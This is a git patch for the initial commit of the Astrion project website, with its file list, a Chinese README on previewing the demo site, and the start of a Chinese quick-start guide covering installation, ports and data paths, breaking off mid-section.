From 32e2544e1ef9a366c27f49b23fb9558c8a79b7a0 Mon Sep 17 00:00:00 2001 From: JOJO <1498581755@qq.com> Date: Mon, 24 Aug 2026 03:22:57 +0800 Subject: [PATCH] =?UTF-8?q?chore:=20initial=20commit=20=E2=80=94=20?= =?UTF-8?q?=E4=B8=AD=E6=96=87=E6=96=87=E6=A1=A3=E6=96=87=E6=A1=88=E4=B8=8E?= =?UTF-8?q?=E4=B8=BB=E9=A1=B5=20demo=EF=BC=88=E5=90=AB=2001/02/03=20?= =?UTF-8?q?=E7=89=B9=E8=89=B2=E5=8A=A8=E7=94=BB=EF=BC=89?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .gitignore | 1 + README.md | 41 ++ content/01-quick-start.md | 241 ++++++++ content/02-core-concepts.md | 111 ++++ content/03-conversations.md | 76 +++ content/04-input-context.md | 89 +++ content/05-execution-security.md | 84 +++ content/06-conversation-assets.md | 68 +++ content/07-agent-capabilities.md | 156 +++++ content/08-quick-dock.md | 33 + content/09-settings.md | 154 +++++ content/10-cli.md | 36 ++ content/README.md | 31 + demo/anim-demo.html | 20 + demo/anim2-demo.html | 49 ++ demo/anim3-demo.html | 68 +++ demo/demo.html | 88 +++ demo/index.html | 184 ++++++ .../activity-sub_1_1787459389_fd8265.json | 1 + .../activity-sub_2_1787459391_a9b055.json | 1 + .../activity-sub_3_1787459393_3da5a5.json | 1 + .../bootstrap-conv_20260823_122836_778.json | 1 + .../bootstrap-conv_20260823_133304_218.json | 1 + demo/mock/conversations-ma.json | 1 + demo/mock/conversations-normal.json | 1 + demo/mock/file-pixel_art_research.md | 259 ++++++++ demo/mock/file-weapon_research.md | 295 +++++++++ .../sub-agents-conv_20260823_122836_778.json | 1 + demo/site-assets/anim-demo.css | 36 ++ demo/site-assets/anim-modes.js | 302 +++++++++ demo/site-assets/anim-sandbox.css | 155 +++++ demo/site-assets/anim-sandbox.js | 366 +++++++++++ demo/site-assets/anim-shared.css | 278 +++++++++ demo/site-assets/anim3-demo.css | 282 +++++++++ demo/site-assets/anim3-demo.js | 552 +++++++++++++++++ demo/site-assets/astrion-avatar.css | 47 ++ demo/site-assets/astrion-avatar.js | 165 +++++ demo/site-assets/shield.svg | 1 + demo/site-assets/site.css | 548 +++++++++++++++++ demo/site-assets/site.js | 276 +++++++++ demo/static/astrion-avatar.svg | 35 ++ .../dist/assets/BackgroundCommandDialog.js | 1 + .../dist/assets/ConversationReviewDialog.css | 1 + .../dist/assets/ConversationReviewDialog.js | 1 + demo/static/dist/assets/FancyCheck.css | 1 + demo/static/dist/assets/FancyCheck.js | 1 + demo/static/dist/assets/FilePreviewDialog.css | 1 + demo/static/dist/assets/FilePreviewDialog.js | 1 + .../static/dist/assets/GoalProgressDialog.css | 1 + demo/static/dist/assets/GoalProgressDialog.js | 1 + demo/static/dist/assets/ImagePicker.css | 1 + demo/static/dist/assets/ImagePicker.js | 1 + demo/static/dist/assets/KaTeX_AMS-Regular.ttf | Bin 0 -> 63632 bytes .../static/dist/assets/KaTeX_AMS-Regular.woff | Bin 0 -> 33516 bytes .../dist/assets/KaTeX_AMS-Regular.woff2 | Bin 0 -> 28076 bytes .../dist/assets/KaTeX_Caligraphic-Bold.ttf | Bin 0 -> 12368 bytes .../dist/assets/KaTeX_Caligraphic-Bold.woff | Bin 0 -> 7716 bytes .../dist/assets/KaTeX_Caligraphic-Bold.woff2 | Bin 0 -> 6912 bytes .../dist/assets/KaTeX_Caligraphic-Regular.ttf | Bin 0 -> 12344 bytes .../assets/KaTeX_Caligraphic-Regular.woff | Bin 0 -> 7656 bytes .../assets/KaTeX_Caligraphic-Regular.woff2 | Bin 0 -> 6908 bytes .../static/dist/assets/KaTeX_Fraktur-Bold.ttf | Bin 0 -> 19584 bytes .../dist/assets/KaTeX_Fraktur-Bold.woff | Bin 0 -> 13296 bytes .../dist/assets/KaTeX_Fraktur-Bold.woff2 | Bin 0 -> 11348 bytes .../dist/assets/KaTeX_Fraktur-Regular.ttf | Bin 0 -> 19572 bytes .../dist/assets/KaTeX_Fraktur-Regular.woff | Bin 0 -> 13208 bytes .../dist/assets/KaTeX_Fraktur-Regular.woff2 | Bin 0 -> 11316 bytes demo/static/dist/assets/KaTeX_Main-Bold.ttf | Bin 0 -> 51336 bytes demo/static/dist/assets/KaTeX_Main-Bold.woff | Bin 0 -> 29912 bytes demo/static/dist/assets/KaTeX_Main-Bold.woff2 | Bin 0 -> 25324 bytes .../dist/assets/KaTeX_Main-BoldItalic.ttf | Bin 0 -> 32968 bytes .../dist/assets/KaTeX_Main-BoldItalic.woff | Bin 0 -> 19412 bytes .../dist/assets/KaTeX_Main-BoldItalic.woff2 | Bin 0 -> 16780 bytes demo/static/dist/assets/KaTeX_Main-Italic.ttf | Bin 0 -> 33580 bytes .../static/dist/assets/KaTeX_Main-Italic.woff | Bin 0 -> 19676 bytes .../dist/assets/KaTeX_Main-Italic.woff2 | Bin 0 -> 16988 bytes .../static/dist/assets/KaTeX_Main-Regular.ttf | Bin 0 -> 53580 bytes .../dist/assets/KaTeX_Main-Regular.woff | Bin 0 -> 30772 bytes .../dist/assets/KaTeX_Main-Regular.woff2 | Bin 0 -> 26272 bytes .../dist/assets/KaTeX_Math-BoldItalic.ttf | Bin 0 -> 31196 bytes .../dist/assets/KaTeX_Math-BoldItalic.woff | Bin 0 -> 18668 bytes .../dist/assets/KaTeX_Math-BoldItalic.woff2 | Bin 0 -> 16400 bytes demo/static/dist/assets/KaTeX_Math-Italic.ttf | Bin 0 -> 31308 bytes .../static/dist/assets/KaTeX_Math-Italic.woff | Bin 0 -> 18748 bytes .../dist/assets/KaTeX_Math-Italic.woff2 | Bin 0 -> 16440 bytes .../dist/assets/KaTeX_SansSerif-Bold.ttf | Bin 0 -> 24504 bytes .../dist/assets/KaTeX_SansSerif-Bold.woff | Bin 0 -> 14408 bytes .../dist/assets/KaTeX_SansSerif-Bold.woff2 | Bin 0 -> 12216 bytes .../dist/assets/KaTeX_SansSerif-Italic.ttf | Bin 0 -> 22364 bytes .../dist/assets/KaTeX_SansSerif-Italic.woff | Bin 0 -> 14112 bytes .../dist/assets/KaTeX_SansSerif-Italic.woff2 | Bin 0 -> 12028 bytes .../dist/assets/KaTeX_SansSerif-Regular.ttf | Bin 0 -> 19436 bytes .../dist/assets/KaTeX_SansSerif-Regular.woff | Bin 0 -> 12316 bytes .../dist/assets/KaTeX_SansSerif-Regular.woff2 | Bin 0 -> 10344 bytes .../dist/assets/KaTeX_Script-Regular.ttf | Bin 0 -> 16648 bytes .../dist/assets/KaTeX_Script-Regular.woff | Bin 0 -> 10588 bytes .../dist/assets/KaTeX_Script-Regular.woff2 | Bin 0 -> 9644 bytes .../dist/assets/KaTeX_Size1-Regular.ttf | Bin 0 -> 12228 bytes .../dist/assets/KaTeX_Size1-Regular.woff | Bin 0 -> 6496 bytes .../dist/assets/KaTeX_Size1-Regular.woff2 | Bin 0 -> 5468 bytes .../dist/assets/KaTeX_Size2-Regular.ttf | Bin 0 -> 11508 bytes .../dist/assets/KaTeX_Size2-Regular.woff | Bin 0 -> 6188 bytes .../dist/assets/KaTeX_Size2-Regular.woff2 | Bin 0 -> 5208 bytes .../dist/assets/KaTeX_Size3-Regular.ttf | Bin 0 -> 7588 bytes .../dist/assets/KaTeX_Size3-Regular.woff | Bin 0 -> 4420 bytes .../dist/assets/KaTeX_Size4-Regular.ttf | Bin 0 -> 10364 bytes .../dist/assets/KaTeX_Size4-Regular.woff | Bin 0 -> 5980 bytes .../dist/assets/KaTeX_Size4-Regular.woff2 | Bin 0 -> 4928 bytes .../dist/assets/KaTeX_Typewriter-Regular.ttf | Bin 0 -> 27556 bytes .../dist/assets/KaTeX_Typewriter-Regular.woff | Bin 0 -> 16028 bytes .../assets/KaTeX_Typewriter-Regular.woff2 | Bin 0 -> 13568 bytes .../dist/assets/NewUserTutorialPrompt.css | 1 + .../dist/assets/NewUserTutorialPrompt.js | 1 + .../dist/assets/PathAuthorizationDialog.css | 1 + .../dist/assets/PathAuthorizationDialog.js | 1 + demo/static/dist/assets/PdfPreview.css | 1 + demo/static/dist/assets/PdfPreview.js | 578 ++++++++++++++++++ .../dist/assets/PersonalizationDrawer.css | 1 + .../dist/assets/PersonalizationDrawer.js | 1 + .../static/dist/assets/PlanApprovalDialog.css | 1 + demo/static/dist/assets/PlanApprovalDialog.js | 1 + demo/static/dist/assets/SecondaryGate.css | 1 + demo/static/dist/assets/SecondaryGate.js | 1 + .../dist/assets/SubAgentActivityDialog.css | 1 + .../dist/assets/SubAgentActivityDialog.js | 1 + demo/static/dist/assets/TutorialOverlay.js | 1 + .../static/dist/assets/UserQuestionDialog.css | 1 + demo/static/dist/assets/UserQuestionDialog.js | 1 + demo/static/dist/assets/VersioningDialog.css | 1 + demo/static/dist/assets/VersioningDialog.js | 2 + .../dist/assets/VirtualMonitorSurface.js | 11 + demo/static/dist/assets/WorkflowDemoShell.css | 1 + demo/static/dist/assets/WorkflowDemoShell.js | 44 ++ .../dist/assets/_plugin-vue_export-helper.js | 1 + demo/static/dist/assets/admin.css | 1 + demo/static/dist/assets/admin.js | 1 + demo/static/dist/assets/adminApi.css | 1 + demo/static/dist/assets/adminApi.js | 1 + demo/static/dist/assets/adminCustomTools.css | 1 + demo/static/dist/assets/adminCustomTools.js | 2 + .../dist/assets/adminCustomToolsGuide.css | 1 + .../dist/assets/adminCustomToolsGuide.js | 503 +++++++++++++++ demo/static/dist/assets/adminPolicy.css | 1 + demo/static/dist/assets/adminPolicy.js | 3 + demo/static/dist/assets/auth.css | 1 + demo/static/dist/assets/auth.js | 1 + demo/static/dist/assets/login.js | 1 + demo/static/dist/assets/main.css | 32 + demo/static/dist/assets/main.js | 436 +++++++++++++ demo/static/dist/assets/pdf.worker.min.mjs | 28 + demo/static/dist/assets/register.js | 1 + .../dist/assets/runtime-dom.esm-bundler.js | 17 + demo/static/dist/assets/task.js | 1 + .../static/dist/assets/useMarkdownRenderer.js | 308 ++++++++++ demo/static/dist/assets/useSecondaryPass.js | 1 + demo/static/easter-eggs/flood.css | 38 ++ demo/static/easter-eggs/flood.js | 267 ++++++++ demo/static/easter-eggs/registry.js | 67 ++ demo/static/easter-eggs/snake.css | 13 + demo/static/easter-eggs/snake.js | 503 +++++++++++++++ demo/static/favicon-16x16.png | Bin 0 -> 362 bytes demo/static/favicon-32x32.png | Bin 0 -> 716 bytes demo/static/icons/align-left.svg | 3 + demo/static/icons/arrow-left.svg | 14 + demo/static/icons/bell.svg | 1 + demo/static/icons/book.svg | 13 + demo/static/icons/bot.svg | 18 + demo/static/icons/brain-cog.svg | 1 + demo/static/icons/brain.svg | 20 + demo/static/icons/camera.svg | 14 + demo/static/icons/chat-bubble.svg | 5 + demo/static/icons/check.svg | 13 + demo/static/icons/checkbox.svg | 13 + demo/static/icons/chevron-down.svg | 13 + demo/static/icons/circle-alert.svg | 15 + demo/static/icons/clipboard.svg | 14 + demo/static/icons/clock.svg | 14 + demo/static/icons/copy.svg | 1 + demo/static/icons/eye.svg | 14 + demo/static/icons/file-down.svg | 1 + demo/static/icons/file-pen.svg | 1 + demo/static/icons/file.svg | 14 + demo/static/icons/flag.svg | 13 + demo/static/icons/flask-conical.svg | 1 + demo/static/icons/folder-closed.svg | 13 + demo/static/icons/folder-git-2.svg | 1 + demo/static/icons/folder-open.svg | 1 + demo/static/icons/folder.svg | 13 + demo/static/icons/git-branch.svg | 16 + demo/static/icons/git-fork.svg | 1 + demo/static/icons/globe.svg | 15 + demo/static/icons/graduation-cap.svg | 1 + demo/static/icons/hammer.svg | 15 + demo/static/icons/info.svg | 15 + demo/static/icons/keyboard.svg | 1 + demo/static/icons/laptop.svg | 14 + demo/static/icons/layers.svg | 1 + demo/static/icons/layout-grid.svg | 16 + demo/static/icons/mcp-logo.svg | 12 + demo/static/icons/menu.svg | 15 + .../icons/message-circle-question-mark.svg | 1 + demo/static/icons/mic.svg | 1 + demo/static/icons/monitor.svg | 15 + demo/static/icons/mouse-pointer-2.svg | 1 + demo/static/icons/mouse-pointer-click.svg | 1 + demo/static/icons/navigation.svg | 1 + demo/static/icons/notebook-pen.svg | 1 + demo/static/icons/notebook-search.svg | 1 + demo/static/icons/notebook.svg | 1 + demo/static/icons/octagon.svg | 13 + demo/static/icons/pencil.svg | 14 + demo/static/icons/play.svg | 13 + demo/static/icons/plus.svg | 14 + demo/static/icons/python.svg | 1 + demo/static/icons/recycle.svg | 18 + demo/static/icons/refresh-cw.svg | 1 + demo/static/icons/save.svg | 15 + demo/static/icons/search.svg | 14 + demo/static/icons/settings.svg | 14 + demo/static/icons/sparkles.svg | 16 + demo/static/icons/sticky-note.svg | 14 + demo/static/icons/terminal.svg | 14 + demo/static/icons/trash.svg | 15 + demo/static/icons/triangle-alert.svg | 15 + demo/static/icons/user-pen.svg | 1 + demo/static/icons/user.svg | 14 + demo/static/icons/workflow.svg | 24 + demo/static/icons/wrench.svg | 13 + demo/static/icons/x.svg | 14 + demo/static/icons/zap.svg | 13 + demo/static/security.js | 109 ++++ demo/static/style.css | 2 + demo/sw.js | 207 +++++++ demo/test-scale.html | 57 ++ 234 files changed, 9064 insertions(+) create mode 100644 .gitignore create mode 100644 README.md create mode 100644 content/01-quick-start.md create mode 100644 content/02-core-concepts.md create mode 100644 content/03-conversations.md create mode 100644 content/04-input-context.md create mode 100644 content/05-execution-security.md create mode 100644 content/06-conversation-assets.md create mode 100644 content/07-agent-capabilities.md create mode 100644 content/08-quick-dock.md create mode 100644 content/09-settings.md create mode 100644 content/10-cli.md create mode 100644 content/README.md create mode 100644 demo/anim-demo.html create mode 100644 demo/anim2-demo.html create mode 100644 demo/anim3-demo.html create mode 100644 demo/demo.html create mode 100644 demo/index.html create mode 100644 demo/mock/activity-sub_1_1787459389_fd8265.json create mode 100644 demo/mock/activity-sub_2_1787459391_a9b055.json create mode 100644 demo/mock/activity-sub_3_1787459393_3da5a5.json create mode 100644 demo/mock/bootstrap-conv_20260823_122836_778.json create mode 100644 demo/mock/bootstrap-conv_20260823_133304_218.json create mode 100644 demo/mock/conversations-ma.json create mode 100644 demo/mock/conversations-normal.json create mode 100644 demo/mock/file-pixel_art_research.md create mode 100644 demo/mock/file-weapon_research.md create mode 100644 demo/mock/sub-agents-conv_20260823_122836_778.json create mode 100644 demo/site-assets/anim-demo.css create mode 100644 demo/site-assets/anim-modes.js create mode 100644 demo/site-assets/anim-sandbox.css create mode 100644 demo/site-assets/anim-sandbox.js create mode 100644 demo/site-assets/anim-shared.css create mode 100644 demo/site-assets/anim3-demo.css create mode 100644 demo/site-assets/anim3-demo.js create mode 100644 demo/site-assets/astrion-avatar.css create mode 100644 demo/site-assets/astrion-avatar.js create mode 100644 demo/site-assets/shield.svg create mode 100644 demo/site-assets/site.css create mode 100644 demo/site-assets/site.js create mode 100644 demo/static/astrion-avatar.svg create mode 100644 demo/static/dist/assets/BackgroundCommandDialog.js create mode 100644 demo/static/dist/assets/ConversationReviewDialog.css create mode 100644 demo/static/dist/assets/ConversationReviewDialog.js create mode 100644 demo/static/dist/assets/FancyCheck.css create mode 100644 demo/static/dist/assets/FancyCheck.js create mode 100644 demo/static/dist/assets/FilePreviewDialog.css create mode 100644 demo/static/dist/assets/FilePreviewDialog.js create mode 100644 demo/static/dist/assets/GoalProgressDialog.css create mode 100644 demo/static/dist/assets/GoalProgressDialog.js create mode 100644 demo/static/dist/assets/ImagePicker.css create mode 100644 demo/static/dist/assets/ImagePicker.js create mode 100644 demo/static/dist/assets/KaTeX_AMS-Regular.ttf create mode 100644 demo/static/dist/assets/KaTeX_AMS-Regular.woff create mode 100644 demo/static/dist/assets/KaTeX_AMS-Regular.woff2 create mode 100644 demo/static/dist/assets/KaTeX_Caligraphic-Bold.ttf create mode 100644 demo/static/dist/assets/KaTeX_Caligraphic-Bold.woff create mode 100644 demo/static/dist/assets/KaTeX_Caligraphic-Bold.woff2 create mode 100644 demo/static/dist/assets/KaTeX_Caligraphic-Regular.ttf create mode 100644 demo/static/dist/assets/KaTeX_Caligraphic-Regular.woff create mode 100644 demo/static/dist/assets/KaTeX_Caligraphic-Regular.woff2 create mode 100644 demo/static/dist/assets/KaTeX_Fraktur-Bold.ttf create mode 100644 demo/static/dist/assets/KaTeX_Fraktur-Bold.woff create mode 100644 demo/static/dist/assets/KaTeX_Fraktur-Bold.woff2 create mode 100644 demo/static/dist/assets/KaTeX_Fraktur-Regular.ttf create mode 100644 demo/static/dist/assets/KaTeX_Fraktur-Regular.woff create mode 100644 demo/static/dist/assets/KaTeX_Fraktur-Regular.woff2 create mode 100644 demo/static/dist/assets/KaTeX_Main-Bold.ttf create mode 100644 demo/static/dist/assets/KaTeX_Main-Bold.woff create mode 100644 demo/static/dist/assets/KaTeX_Main-Bold.woff2 create mode 100644 demo/static/dist/assets/KaTeX_Main-BoldItalic.ttf create mode 100644 demo/static/dist/assets/KaTeX_Main-BoldItalic.woff create mode 100644 demo/static/dist/assets/KaTeX_Main-BoldItalic.woff2 create mode 100644 demo/static/dist/assets/KaTeX_Main-Italic.ttf create mode 100644 demo/static/dist/assets/KaTeX_Main-Italic.woff create mode 100644 demo/static/dist/assets/KaTeX_Main-Italic.woff2 create mode 100644 demo/static/dist/assets/KaTeX_Main-Regular.ttf create mode 100644 demo/static/dist/assets/KaTeX_Main-Regular.woff create mode 100644 demo/static/dist/assets/KaTeX_Main-Regular.woff2 create mode 100644 demo/static/dist/assets/KaTeX_Math-BoldItalic.ttf create mode 100644 demo/static/dist/assets/KaTeX_Math-BoldItalic.woff create mode 100644 demo/static/dist/assets/KaTeX_Math-BoldItalic.woff2 create mode 100644 demo/static/dist/assets/KaTeX_Math-Italic.ttf create mode 100644 demo/static/dist/assets/KaTeX_Math-Italic.woff create mode 100644 demo/static/dist/assets/KaTeX_Math-Italic.woff2 create mode 100644 demo/static/dist/assets/KaTeX_SansSerif-Bold.ttf create mode 100644 demo/static/dist/assets/KaTeX_SansSerif-Bold.woff create mode 100644 demo/static/dist/assets/KaTeX_SansSerif-Bold.woff2 create mode 100644 demo/static/dist/assets/KaTeX_SansSerif-Italic.ttf create mode 100644 demo/static/dist/assets/KaTeX_SansSerif-Italic.woff create mode 100644 demo/static/dist/assets/KaTeX_SansSerif-Italic.woff2 create mode 100644 demo/static/dist/assets/KaTeX_SansSerif-Regular.ttf create mode 100644 demo/static/dist/assets/KaTeX_SansSerif-Regular.woff create mode 100644 demo/static/dist/assets/KaTeX_SansSerif-Regular.woff2 create mode 100644 demo/static/dist/assets/KaTeX_Script-Regular.ttf create mode 100644 demo/static/dist/assets/KaTeX_Script-Regular.woff create mode 100644 demo/static/dist/assets/KaTeX_Script-Regular.woff2 create mode 100644 demo/static/dist/assets/KaTeX_Size1-Regular.ttf create mode 100644 demo/static/dist/assets/KaTeX_Size1-Regular.woff create mode 100644 demo/static/dist/assets/KaTeX_Size1-Regular.woff2 create mode 100644 demo/static/dist/assets/KaTeX_Size2-Regular.ttf create mode 100644 demo/static/dist/assets/KaTeX_Size2-Regular.woff create mode 100644 demo/static/dist/assets/KaTeX_Size2-Regular.woff2 create mode 100644 demo/static/dist/assets/KaTeX_Size3-Regular.ttf create mode 100644 demo/static/dist/assets/KaTeX_Size3-Regular.woff create mode 100644 demo/static/dist/assets/KaTeX_Size4-Regular.ttf create mode 100644 demo/static/dist/assets/KaTeX_Size4-Regular.woff create mode 100644 demo/static/dist/assets/KaTeX_Size4-Regular.woff2 create mode 100644 demo/static/dist/assets/KaTeX_Typewriter-Regular.ttf create mode 100644 demo/static/dist/assets/KaTeX_Typewriter-Regular.woff create mode 100644 demo/static/dist/assets/KaTeX_Typewriter-Regular.woff2 create mode 100644 demo/static/dist/assets/NewUserTutorialPrompt.css create mode 100644 demo/static/dist/assets/NewUserTutorialPrompt.js create mode 100644 demo/static/dist/assets/PathAuthorizationDialog.css create mode 100644 demo/static/dist/assets/PathAuthorizationDialog.js create mode 100644 demo/static/dist/assets/PdfPreview.css create mode 100644 demo/static/dist/assets/PdfPreview.js create mode 100644 demo/static/dist/assets/PersonalizationDrawer.css create mode 100644 demo/static/dist/assets/PersonalizationDrawer.js create mode 100644 demo/static/dist/assets/PlanApprovalDialog.css create mode 100644 demo/static/dist/assets/PlanApprovalDialog.js create mode 100644 demo/static/dist/assets/SecondaryGate.css create mode 100644 demo/static/dist/assets/SecondaryGate.js create mode 100644 demo/static/dist/assets/SubAgentActivityDialog.css create mode 100644 demo/static/dist/assets/SubAgentActivityDialog.js create mode 100644 demo/static/dist/assets/TutorialOverlay.js create mode 100644 demo/static/dist/assets/UserQuestionDialog.css create mode 100644 demo/static/dist/assets/UserQuestionDialog.js create mode 100644 demo/static/dist/assets/VersioningDialog.css create mode 100644 demo/static/dist/assets/VersioningDialog.js create mode 100644 demo/static/dist/assets/VirtualMonitorSurface.js create mode 100644 demo/static/dist/assets/WorkflowDemoShell.css create mode 100644 demo/static/dist/assets/WorkflowDemoShell.js create mode 100644 demo/static/dist/assets/_plugin-vue_export-helper.js create mode 100644 demo/static/dist/assets/admin.css create mode 100644 demo/static/dist/assets/admin.js create mode 100644 demo/static/dist/assets/adminApi.css create mode 100644 demo/static/dist/assets/adminApi.js create mode 100644 demo/static/dist/assets/adminCustomTools.css create mode 100644 demo/static/dist/assets/adminCustomTools.js create mode 100644 demo/static/dist/assets/adminCustomToolsGuide.css create mode 100644 demo/static/dist/assets/adminCustomToolsGuide.js create mode 100644 demo/static/dist/assets/adminPolicy.css create mode 100644 demo/static/dist/assets/adminPolicy.js create mode 100644 demo/static/dist/assets/auth.css create mode 100644 demo/static/dist/assets/auth.js create mode 100644 demo/static/dist/assets/login.js create mode 100644 demo/static/dist/assets/main.css create mode 100644 demo/static/dist/assets/main.js create mode 100644 demo/static/dist/assets/pdf.worker.min.mjs create mode 100644 demo/static/dist/assets/register.js create mode 100644 demo/static/dist/assets/runtime-dom.esm-bundler.js create mode 100644 demo/static/dist/assets/task.js create mode 100644 demo/static/dist/assets/useMarkdownRenderer.js create mode 100644 demo/static/dist/assets/useSecondaryPass.js create mode 100644 demo/static/easter-eggs/flood.css create mode 100644 demo/static/easter-eggs/flood.js create mode 100644 demo/static/easter-eggs/registry.js create mode 100644 demo/static/easter-eggs/snake.css create mode 100644 demo/static/easter-eggs/snake.js create mode 100644 demo/static/favicon-16x16.png create mode 100644 demo/static/favicon-32x32.png create mode 100644 demo/static/icons/align-left.svg create mode 100644 demo/static/icons/arrow-left.svg create mode 100644 demo/static/icons/bell.svg create mode 100644 demo/static/icons/book.svg create mode 100644 demo/static/icons/bot.svg create mode 100644 demo/static/icons/brain-cog.svg create mode 100644 demo/static/icons/brain.svg create mode 100644 demo/static/icons/camera.svg create mode 100644 demo/static/icons/chat-bubble.svg create mode 100644 demo/static/icons/check.svg create mode 100644 demo/static/icons/checkbox.svg create mode 100644 demo/static/icons/chevron-down.svg create mode 100644 demo/static/icons/circle-alert.svg create mode 100644 demo/static/icons/clipboard.svg create mode 100644 demo/static/icons/clock.svg create mode 100644 demo/static/icons/copy.svg create mode 100644 demo/static/icons/eye.svg create mode 100644 demo/static/icons/file-down.svg create mode 100644 demo/static/icons/file-pen.svg create mode 100644 demo/static/icons/file.svg create mode 100644 demo/static/icons/flag.svg create mode 100644 demo/static/icons/flask-conical.svg create mode 100644 demo/static/icons/folder-closed.svg create mode 100644 demo/static/icons/folder-git-2.svg create mode 100644 demo/static/icons/folder-open.svg create mode 100644 demo/static/icons/folder.svg create mode 100644 demo/static/icons/git-branch.svg create mode 100644 demo/static/icons/git-fork.svg create mode 100644 demo/static/icons/globe.svg create mode 100644 demo/static/icons/graduation-cap.svg create mode 100644 demo/static/icons/hammer.svg create mode 100644 demo/static/icons/info.svg create mode 100644 demo/static/icons/keyboard.svg create mode 100644 demo/static/icons/laptop.svg create mode 100644 demo/static/icons/layers.svg create mode 100644 demo/static/icons/layout-grid.svg create mode 100644 demo/static/icons/mcp-logo.svg create mode 100644 demo/static/icons/menu.svg create mode 100644 demo/static/icons/message-circle-question-mark.svg create mode 100644 demo/static/icons/mic.svg create mode 100644 demo/static/icons/monitor.svg create mode 100644 demo/static/icons/mouse-pointer-2.svg create mode 100644 demo/static/icons/mouse-pointer-click.svg create mode 100644 demo/static/icons/navigation.svg create mode 100644 demo/static/icons/notebook-pen.svg create mode 100644 demo/static/icons/notebook-search.svg create mode 100644 demo/static/icons/notebook.svg create mode 100644 demo/static/icons/octagon.svg create mode 100644 demo/static/icons/pencil.svg create mode 100644 demo/static/icons/play.svg create mode 100644 demo/static/icons/plus.svg create mode 100644 demo/static/icons/python.svg create mode 100644 demo/static/icons/recycle.svg create mode 100644 demo/static/icons/refresh-cw.svg create mode 100644 demo/static/icons/save.svg create mode 100644 demo/static/icons/search.svg create mode 100644 demo/static/icons/settings.svg create mode 100644 demo/static/icons/sparkles.svg create mode 100644 demo/static/icons/sticky-note.svg create mode 100644 demo/static/icons/terminal.svg create mode 100644 demo/static/icons/trash.svg create mode 100644 demo/static/icons/triangle-alert.svg create mode 100644 demo/static/icons/user-pen.svg create mode 100644 demo/static/icons/user.svg create mode 100644 demo/static/icons/workflow.svg create mode 100644 demo/static/icons/wrench.svg create mode 100644 demo/static/icons/x.svg create mode 100644 demo/static/icons/zap.svg create mode 100644 demo/static/security.js create mode 100644 demo/static/style.css create mode 100644 demo/sw.js create mode 100644 demo/test-scale.html diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..e43b0f9 --- /dev/null +++ b/.gitignore @@ -0,0 +1 @@ +.DS_Store diff --git a/README.md b/README.md new file mode 100644 index 0000000..b90d281 --- /dev/null +++ b/README.md @@ -0,0 +1,41 @@ +# Astrion 官网 + +[Astrion](https://github.com/JOJO6618/astrion)(暂定名「星子」)的官方网站:面向**用户**的使用指南与面向**开发者**的设计原理解读。 + +> 当前状态:**开发中**——文档文案已完成,主页 demo 正在迭代。 + +## 仓库结构 + +``` +content/ 中文文档文案(11 篇:快速上手/核心概念/对话/输入与上下文/ + 执行与安全/对话资产/智能体能力/快捷窗口/设置/CLI) +demo/ 主页 demo(深空星空 + 真实前端壳演示区 + 特色功能动画) +``` + +## 本地预览 + +```bash +cd demo +python3 -m http.server 8898 +``` + +| 页面 | 地址 | 说明 | +|------|------|------| +| 主页 | http://127.0.0.1:8898/index.html | 星空 + 演示区 iframe + 特色动画 01/02 | +| 修改记录动画 | http://127.0.0.1:8898/anim3-demo.html | 03:编辑→diff→文件卡片→genie 收盒(三轮堆叠) | +| 运行模式动画 | http://127.0.0.1:8898/anim-demo.html | 01:计划/询问/执行 | +| 沙箱动画 | http://127.0.0.1:8898/anim2-demo.html | 02:恶意命令抛物线拦截 | + +注意:演示区(demo.html)依赖 Service Worker mock API,必须通过 http 访问(file:// 无效);改动 `demo.html`/`sw.js` 后需 bump `sw.js` 中的 CACHE 版本号并硬刷新。 + +## 技术要点 + +- **演示区 1:1 还原**:`demo/static/` 是主项目前端真实构建产物,Service Worker 拦截 `/api/*` 返回 mock 数据;iframe 内固定 1400×860 逻辑尺寸 + 外层 `transform: scale()` 等比缩放。 +- **特色动画**:无边框无底融于星空;03 收盒用「裁切式 genie」——单个 SVG 元素每帧绘制 S 曲线 path(描边跟随轮廓),内容矢量不形变。 + +## 待办 + +- [ ] 03 动画集成进主页(容器宽度 540→460 适配) +- [ ] 04 版本控制动画 +- [ ] 演示区对话数据编排(3 工作区 6 对话) +- [ ] 响应式复查与正式发布 diff --git a/content/01-quick-start.md b/content/01-quick-start.md new file mode 100644 index 0000000..52ff1ff --- /dev/null +++ b/content/01-quick-start.md @@ -0,0 +1,241 @@ +# 快速上手 + +本章带你从零跑起 Astrion:克隆代码、完成初始化配置、启动服务,并根据你的使用场景选择正确的运行形态。 + +--- + +## 1. 系统要求 + +| 依赖 | 要求 | 说明 | +|------|------|------| +| Python | 3.9 及以上(推荐 3.11) | 后端运行环境 | +| Node.js | 18 及以上 | 构建前端、使用 CLI | +| Docker | 可选 | 仅 **web/docker 模式**需要,host 模式不需要 | +| WSL2 | 仅 Windows | Windows 上使用宿主机沙箱的前置条件 | + +macOS、Linux、Windows(WSL2)均可运行。三平台沙箱能力的差异见《核心概念》一章。 + +--- + +## 2. 安装 + +```bash +# 1. 克隆仓库 +git clone https://github.com/JOJO6618/astrion.git +cd astrion + +# 2. 初始化:创建 venv、安装依赖、运行交互式配置向导 +# 向导会依次询问:运行模式 → 监听地址/端口 → 管理员账户 → 模型 API → 生成密钥 +./setup.sh + +# 3. 构建前端 +npm install && npm run build + +# 4.(仅 web/docker 模式)构建沙箱镜像,见下文「选择运行模式」 +docker build -f docker/terminal.Dockerfile -t my-agent-shell:latest . + +# 5. 启动 +./start.sh +# 或者手动启动: +python -m server.app --port 8091 --thinking-mode +``` + +启动后访问 `http://localhost:8091`,用向导中设置的管理员账户登录。 + +> `setup.sh` 向导会把配置写入仓库根目录的 `.env`。这是开发备用方式;生产部署建议改用「数据根目录下的 `settings.json`」或系统环境变量,见下文「配置优先级」。 + +--- + +## 3. 运行端口与监听地址 + +- **默认端口:`8091`**(`WEB_SERVER_PORT`)。 +- 监听地址(`WEB_SERVER_HOST`): + - 单机自用:建议 `127.0.0.1`,只监听本机回环,局域网不可达; + - 多用户/服务器部署:用 `0.0.0.0`。 +- 启动命令行参数 `--port` 可以临时覆盖配置。 +- 调试模式 `WEB_SERVER_DEBUG=1`(同时开启 Flask reloader),生产环境保持 `0`。 + +--- + +## 4. 数据路径:数据都存在哪、怎么搬迁 + +Astrion 的运行态数据(对话记录、用户、日志、部署级配置)**默认全部放在用户主目录下,不污染源码树**: + +``` +~/.astrion/astrion/ ← 数据根目录(data_root) +├── settings.json ← 